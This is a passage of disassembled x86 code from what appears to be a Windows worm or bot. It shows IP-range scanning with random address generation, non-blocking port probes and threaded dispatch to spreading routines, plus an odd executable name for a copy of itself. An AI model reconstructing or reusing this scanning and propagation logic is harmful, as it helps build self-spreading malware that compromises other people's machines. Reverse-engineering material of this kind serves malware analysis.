loc_40B9F4:				; CODE XREF: sub_40B8A2+64j
		inc	[ebp+arg_0]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F3


loc_40BA04:				; CODE XREF: sub_40B8A2+44j
		push	[ebp+var_4]
		lea	eax, [ebp+Format]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_431F6C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_24]	; int
		call	sub_409A73
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		add	esp, 2Ch
		push	edi
		call	ds:dword_4270CC	; ExitThread
sub_40B8A2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BA57(int,char *Str,int,int)

sub_40BA57	proc near		; CODE XREF: sub_401ACD+244Fp

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_40BA93
		mov	eax, [ebp+arg_C]
		push	dword_4CB7A0[eax*8]
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_431FF0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_40BAA6
; ---------------------------------------------------------------------------


loc_40BA93:				; CODE XREF: sub_40BA57+13j
		lea	eax, [ebp+Dest]
		push	offset asc_431FD0 ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40BAA6:				; CODE XREF: sub_40BA57+3Aj
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		add	esp, 18h
		leave
		retn
sub_40BA57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BACE(int,int,int,int,char Format,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_40BACE	proc near		; CODE XREF: sub_40C33D+4Fp

var_210		= dword	ptr -210h
Source		= byte ptr -204h
var_4		= byte ptr -4
Format		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BFA0
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431B0C[eax], ebx
		jz	loc_40BFA0
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BD55
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD85C
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDA6C, eax
		mov	dword_4CDA68, ebx
		call	ds:dword_427070	; GetModuleFileNameA
		mov	edi, offset Str	; "nvigqyvja.exe"
		push	103h		; Count
		push	edi		; Source
		push	offset byte_4CD960 ; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD858, eax
		mov	eax, [ebp+arg_138]
		push	7Fh		; Count
		mov	dword_4CDAF0, eax
		jnz	short loc_40BB81
		lea	eax, [ebp+Format]
		push	eax		; Source
		push	offset byte_4CDA70 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4CDAF4, 1
		jmp	short loc_40BB9B
; ---------------------------------------------------------------------------


loc_40BB81:				; CODE XREF: sub_40BACE+94j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4CDA70 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4CDAF4, ebx


loc_40BB9B:				; CODE XREF: sub_40BACE+B1j
		push	esi
		lea	eax, [ebp+Source]
		push	dword_4CDA6C
		push	offset asc_42C558 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	5		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDA64, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD858
		push	offset sub_411797
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, dword_4CDA64
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BC09


loc_40BBF7:				; CODE XREF: sub_40BACE+139j
		cmp	dword_4CDAF8, ebx
		jnz	short loc_40BC24
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40BBF7
; ---------------------------------------------------------------------------


loc_40BC09:				; CODE XREF: sub_40BACE+127j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_432110 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40BC24:				; CODE XREF: sub_40BACE+12Fj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		mov	eax, dword_4CB390
		mov	esi, offset dword_4CDB04
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CDD14, eax
		mov	dword_4CDD10, ebx
		call	ds:dword_427070	; GetModuleFileNameA
		push	103h		; Count
		push	edi		; Source
		push	offset byte_4CDC08 ; Dest
		call	_strncpy
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB00, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CDD98, eax
		push	7Fh		; Count
		jnz	short loc_40BCA5
		lea	eax, [ebp+Format]
		push	eax		; Source
		push	offset byte_4CDD18 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4CDD9C, 1
		jmp	short loc_40BCBF
; ---------------------------------------------------------------------------


loc_40BCA5:				; CODE XREF: sub_40BACE+1B8j
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4CDD18 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4CDD9C, ebx


loc_40BCBF:				; CODE XREF: sub_40BACE+1D5j
		push	esi
		lea	eax, [ebp+Source]
		push	dword_4CDD14
		push	offset asc_4320DC ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	4		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 1Ch
		mov	dword_4CDD0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB00
		push	offset sub_40E992
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, dword_4CDD0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BD2D


loc_40BD1B:				; CODE XREF: sub_40BACE+25Dj
		cmp	dword_4CDDA0, ebx
		jnz	short loc_40BD48
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40BD1B
; ---------------------------------------------------------------------------


loc_40BD2D:				; CODE XREF: sub_40BACE+24Bj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4320A8 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40BD48:				; CODE XREF: sub_40BACE+253j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BD55:				; CODE XREF: sub_40BACE+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_431B14[ecx], ebx
		jz	loc_40BE7E
		push	7
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BE78
		mov	eax, dword_4CE39C
		cmp	[ebp+arg_90], bl
		mov	dword_4CD7C4, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD7B8, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD7C0, ebx
		mov	dword_4CD848, eax
		push	7Fh		; Count
		jnz	short loc_40BDC9
		lea	eax, [ebp+Format]
		push	eax		; Source
		push	offset byte_4CD7C8 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4CD84C, 1
		jmp	short loc_40BDE3
; ---------------------------------------------------------------------------


loc_40BDC9:				; CODE XREF: sub_40BACE+2DCj
		lea	eax, [ebp+arg_90]
		push	eax		; Source
		push	offset byte_4CD7C8 ; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	dword_4CD84C, ebx


loc_40BDE3:				; CODE XREF: sub_40BACE+2F9j
		push	dword_4CD7C4
		lea	eax, [ebp+Source]
		push	offset asc_432078 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	7		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 18h
		mov	dword_4CD7BC, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD7B8
		push	offset sub_40E6F0
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, dword_4CD7BC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BE50


loc_40BE3E:				; CODE XREF: sub_40BACE+380j
		cmp	dword_4CD850, ebx
		jnz	short loc_40BE6B
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40BE3E
; ---------------------------------------------------------------------------


loc_40BE50:				; CODE XREF: sub_40BACE+36Ej
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_432040 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40BE6B:				; CODE XREF: sub_40BACE+376j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BE78:				; CODE XREF: sub_40BACE+2A8j
		mov	eax, [ebp+arg_130]


loc_40BE7E:				; CODE XREF: sub_40BACE+298j
		shl	eax, 6
		cmp	dword_431B10[eax], ebx
		jz	loc_40BFA0
		push	3
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_40BFA0
		mov	esi, offset byte_4CE034
		push	104h
		push	esi
		push	ebx
		call	ds:dword_427070	; GetModuleFileNameA
		push	5Ch		; Ch
		push	esi		; Str
		call	_strrchr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBF
		mov	[eax], bl


loc_40BEBF:				; CODE XREF: sub_40BACE+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE14C, ebx
		mov	dword_4CE138, eax
		lea	eax, [ebp+Format]
		push	eax		; Format
		push	offset byte_4CDDAC ; Dest
		call	_sprintf
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CDDA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE138
		mov	dword_4CE144, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE148, ecx
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_42C4E0 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	3		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	dword_4CE140, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDDA8
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, dword_4CE140
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40BF78


loc_40BF66:				; CODE XREF: sub_40BACE+4A8j
		cmp	dword_4CE154, ebx
		jnz	short loc_40BF93
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40BF66
; ---------------------------------------------------------------------------


loc_40BF78:				; CODE XREF: sub_40BACE+496j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_43200C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40BF93:				; CODE XREF: sub_40BACE+49Ej
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40BFA0:				; CODE XREF: sub_40BACE+14j
					; sub_40BACE+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BFA4(int Dst)

sub_40BFA4	proc near		; CODE XREF: sub_40C125:loc_40C196p

Dst		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+Dst]
		push	esi
		push	4		; Size
		lea	esi, ds:4CB7A0h[eax*8]
		lea	eax, [ebp+Dst]
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		push	[ebp+Dst]
		call	dword_4CB57C	; htonl
		inc	eax
		push	eax
		mov	[ebp+Dst], eax
		call	dword_4CB650	; htonl
		mov	[ebp+Dst], eax
		lea	eax, [ebp+Dst]
		push	4		; Size
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40BFEC(char *Src,int)

sub_40BFEC	proc near		; CODE XREF: sub_40C125+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Src		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+Src]	; Str
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	_strlen
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C014
		xor	eax, eax
		jmp	short loc_40C085
; ---------------------------------------------------------------------------


loc_40C014:				; CODE XREF: sub_40BFEC+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+Src]	; Src
		call	_sscanf
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C041
		call	_rand
		mov	[ebp+var_C], eax


loc_40C041:				; CODE XREF: sub_40BFEC+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04E
		call	_rand
		mov	[ebp+var_8], eax


loc_40C04E:				; CODE XREF: sub_40BFEC+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05B
		call	_rand
		mov	[ebp+var_4], eax


loc_40C05B:				; CODE XREF: sub_40BFEC+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C067
		call	_rand


loc_40C067:				; CODE XREF: sub_40BFEC+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB7A0[ecx*8], eax


loc_40C085:				; CODE XREF: sub_40BFEC+26j
		pop	esi
		leave
		retn
sub_40BFEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C088	proc near		; CODE XREF: sub_40B8A2+59p
					; sub_40C125+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB6D4	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B1
		xor	eax, eax
		jmp	short loc_40C120
; ---------------------------------------------------------------------------


loc_40C0B1:				; CODE XREF: sub_40C088+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB654	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB6F0	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB63C	; select
		push	esi
		mov	edi, eax
		call	dword_4CB6EC	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C120:				; CODE XREF: sub_40C088+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C088	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C125	proc near		; DATA XREF: sub_40C33D+13Bo

var_2A8		= dword	ptr -2A8h
Dest		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
Src		= byte ptr -150h
var_140		= byte ptr -140h
Str		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+Src]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C16C:				; CODE XREF: sub_40C125+204j
		mov	eax, dword_43E594[ebx]
		cmp	dword_4CB7A4[eax*8], 0
		jz	loc_40C32E
		cmp	[ebp+var_10], 0
		push	eax		; Dst
		jz	short loc_40C196
		lea	eax, [ebp+Src]
		push	eax		; Src
		call	sub_40BFEC
		pop	ecx
		jmp	short loc_40C19B
; ---------------------------------------------------------------------------


loc_40C196:				; CODE XREF: sub_40C125+60j
		call	sub_40BFA4


loc_40C19B:				; CODE XREF: sub_40C125+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E594[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_43216C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		lea	eax, [ebp+Dest]
		push	eax		; Format
		lea	eax, dword_43E390[ebx]
		push	eax		; Dest
		call	_sprintf
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C088
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31E
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C272
		push	offset dword_4CD7A0
		call	ds:dword_4270D4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_432144 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C254
		cmp	[ebp+Str], 0
		push	1		; int
		push	[ebp+var_18]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		lea	eax, [ebp+Str]
		jnz	short loc_40C248
		lea	eax, [ebp+var_140]


loc_40C248:				; CODE XREF: sub_40C125+11Bj
		push	eax		; Str
		push	[ebp+var_40]	; int
		call	sub_409A73
		add	esp, 14h


loc_40C254:				; CODE XREF: sub_40C125+100j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		mov	[esp+2A8h+var_2A8], offset dword_4CD7A0
		call	ds:dword_4270D0	; RtlLeaveCriticalSection
		jmp	loc_40C31E
; ---------------------------------------------------------------------------


loc_40C272:				; CODE XREF: sub_40C125+D0j
		push	edi
		call	dword_4CB6E0	; inet_ntoa
		push	eax		; Format
		lea	eax, [ebp+var_208]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax		; Format
		lea	eax, [ebp+var_178]
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+Str], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+Str]
		jnz	short loc_40C2B7
		lea	eax, [ebp+var_140]


loc_40C2B7:				; CODE XREF: sub_40C125+18Aj
		push	eax		; Format
		lea	eax, [ebp+var_1F8]
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431B04[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C31E:				; CODE XREF: sub_40C125+C6j
					; sub_40C125+148j
		push	7D0h
		call	ds:dword_427078	; Sleep
		jmp	loc_40C16C
; ---------------------------------------------------------------------------


loc_40C32E:				; CODE XREF: sub_40C125+55j
		push	esi
		call	sub_40B413
		pop	ecx
		push	0
		call	ds:dword_4270CC	; ExitThread
sub_40C125	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C33D	proc near		; DATA XREF: sub_401ACD+1F82o
					; sub_401ACD+5C49o

var_1DC		= dword	ptr -1DCh
Source		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
Str		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CB694	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB7A0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACE
		push	0Bh
		call	sub_40B33F
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40B
		mov	esi, offset dword_4CD7A0
		push	esi
		call	ds:dword_4270DC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4270D8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40C40B
		lea	eax, [ebp+Source]
		push	offset asc_432250 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F5
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_409A73
		add	esp, 14h


loc_40C3F5:				; CODE XREF: sub_40C33D+99j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C40B:				; CODE XREF: sub_40C33D+63j
					; sub_40C33D+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_427078
		mov	edi, ebx
		mov	dword_4CB7A4[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C4D8


loc_40C429:				; CODE XREF: sub_40C33D+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_43221C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	0Bh		; int
		push	eax		; Source
		call	sub_40B0F7
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C125
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40C4A3


loc_40C498:				; CODE XREF: sub_40C33D+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C4CA
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40C498
; ---------------------------------------------------------------------------


loc_40C4A3:				; CODE XREF: sub_40C33D+159j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4321E4 ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_40C4CA:				; CODE XREF: sub_40C33D+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C429


loc_40C4D8:				; CODE XREF: sub_40C33D+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40C582
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_40C4ED:				; CODE XREF: sub_40C33D+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CB7A0[eax*8]
		push	eax
		call	dword_4CB6E0	; inet_ntoa
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_4321A4 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C53B
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_3C]	; int
		call	sub_409A73
		add	esp, 14h


loc_40C53B:				; CODE XREF: sub_40C33D+1DFj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_4151AD
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_4CB7A4[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B33F
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C572
		push	offset dword_4CD7A0
		call	ds:dword_4270DC	; RtlDeleteCriticalSection


loc_40C572:				; CODE XREF: sub_40C33D+228j
		push	[ebp+var_2C]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_40C582:				; CODE XREF: sub_40C33D+19Ej
					; sub_40C33D+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_4CB7A4[eax*8], 1
		jnz	loc_40C4ED
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40C582
sub_40C33D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C59C	proc near		; DATA XREF: sub_40C669+7Bo
					; sub_40C75A+7Bo

